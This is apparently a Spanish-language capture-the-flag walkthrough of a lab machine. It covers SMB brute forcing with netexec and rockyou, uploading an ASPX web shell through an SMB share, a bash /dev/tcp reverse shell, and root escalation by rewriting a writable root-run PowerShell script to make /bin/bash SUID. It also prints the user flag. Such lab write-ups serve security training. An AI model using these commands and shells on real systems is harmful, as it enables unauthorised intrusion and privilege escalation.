Veremos que hay varios puertos, entre ellos esta el puerto 80 y el 8080 que si entramos veremos exactamente la misma pagina desde fuera, si realizamos un poco de fuzzing no veremos nada interesante, por lo que vamos a probar a listar los recursos de SMB.

SMB

smbclient -L \\<IP> -N

No veremos nada interesante tampoco, por lo que vamos a realizar una enumeracion a dicho servidor de forma mas extensa.

Veremos mucha informacion, pero entre todo esto veremos esta linea de aqui:

S-1-5-21-3376172362-2708036654-1072164461-1000 SUN\punt4n0 (Local User)

Vemos un usuario, por lo que vamos a realizar fuerza bruta en SMB con dicho usuario a ver si encontramos algo.

Netexec

Vamos a limpiar el rockyou a UTF-8 para que no de errores.

iconv -f ISO-8859-1 -t UTF-8//TRANSLIT /<PATH>/rockyou.txt > rockyou_utf8.txt

Ahora si podremos utilizar dicho diccionario.

netexec smb <IP> -u 'punt4n0' -p rockyou_utf8.txt

Info:

...............................<RESTO_DE_CODIGO>...................................
SMB         192.168.5.92    445    SUN              [+] SUN\punt4n0:sunday

Veremos que ha funcionado, pero si probamos dichas credenciales por SSH veremos que no funciona, por lo que vamos a listar los recursos de SMB con dichas credenciales.

smbclient -L \\<IP> -U punt4n0

Info:

Password for [WORKGROUP\punt4n0]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
        punt4n0         Disk      File Upload Path

Veremos que aparece un recurso nuevo bastante interesante con el nombre del usuario en el que podremos subir archivos a dicho servidor.

smbclient //<IP>/punt4n0 -U punt4n0

Metemos como contraseña sunday y con esto estaremos dentro, si listamos veremos lo siguiente:

  .                                   D        0  Tue Apr  2 04:55:21 2024

  sun.jpg                             N    98346  Tue Apr  2 04:49:44 2024

                19480400 blocks of size 1024. 15774808 blocks available

Veremos que se esta compartiendo la pagina desde dicho servidor, por lo que vamos a probar a subir un archivo PHP a ver si funciona una reverse shell.

Escalate user punt4n0

Si subimos el PHP con una reverse shell y entramos por el puerto 8080 que es donde se esta compartiendo, veremos que no funciona, nos descarga el archivo, por lo que no lo esta interpretando, vamos a probar con un archivo .aspx directamente.

webshell.aspx

        if (!IsPostBack)
        {
            lblOutput.Text = "Seleccione un comando o ingrese uno personalizado.";
        }
    }

    void ExecutePredefinedCommand(object sender, EventArgs e)
    {
        string command = ddlCommands.SelectedValue;
        txtCustomCommand.Text = command;
        ExecuteCommand(command);
    }

    void ExecuteCustomCommand(object sender, EventArgs e)
    {
        ExecuteCommand(txtCustomCommand.Text.Trim());
    }

    void ExecuteCommand(string command)
    {
        try
        {
            if (string.IsNullOrEmpty(command))
            {
                lblOutput.Text = "Por favor, ingrese un comando.";
                return;
            }

            StringBuilder output = new StringBuilder();
            output.AppendLine($"<strong>🔄 Ejecutando:</strong> <code>{Server.HtmlEncode(command)}</code>");

Creado esto, vamos a subirlo al SMB de esta forma:

put webshell.aspx

Echo esto accederemos a dicho archivo de esta forma:

URL = http://<IP>:8080/webshell.aspx

Dentro de esta seccion en la ejecuccion de comandos pondremos lo siguiente:

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Antes de enviarlo nos pondremos a la escucha de esta forma:

nc -lvnp <PORT>

Ahora si enviamos el anterior comando y volvemos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 6666 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.92] 45274
bash: no se puede establecer el grupo de proceso de terminal (428): Función ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este shell
punt4n0@sun:~$ whoami
whoami
punt4n0

Veremos que ha funcionado, por lo que vamos a sanitizar la shell.

Sanitización de shell (TTY)

script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Ahora vamos a leer la flag del usuario:

user.txt

3b16b996837f6e87ffb20ab19edb88b7

Escalate Privileges

Si listamos el /opt veremos lo siguiente:

total 16
drwxr-xr-x  3 root root 4096 abr  2  2024 .
drwxr-xr-x 18 root root 4096 abr  1  2024 ..
drwx------  3 root root 4096 abr  1  2024 microsoft
-rwx---rw-  1 root root   97 abr  2  2024 service.ps1

Vemos que hay un archivo service.ps1 bastante interesante, si leemos que contiene:

$idOutput = id

$outputFilePath = "/dev/shm/out"

$idOutput | Out-File -FilePath $outputFilePath

Vemos que esta creando una variable con el comando id y que lo esta escribiendo en un archivo, si leemos dicho archivo veremos lo siguiente:

cat /dev/shm/out

Info:

uid=0(root) gid=0(root) grupos=0(root)

Vemos que esta ejecutando el comando que esta en dicha variable, esto nos hace pensar que se esta ejecutando cada X tiempo por root y como podemos modificar el script, vamos a realizar lo siguiente:

nano /opt/service.ps1

#Dentro del nano
$idOutput = chmod u+s /bin/bash

$outputFilePath = "/dev/shm/out"

$idOutput | Out-File -FilePath $outputFilePath

Lo guardamos y ahora tendremos que esperar un poco a ver si surge efecto.

Ahora si listamos la bash:

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1265648 abr 23  2023 /bin/bash

Veremos que ha funcionado, por lo que vamos a ejecutar lo siguiente para ser root directamente:

bash -p

Info:

bash-5.2# whoami
root

Con esto veremos que ya seremos root, por lo que vamos a leer la flag de root.

root.txt
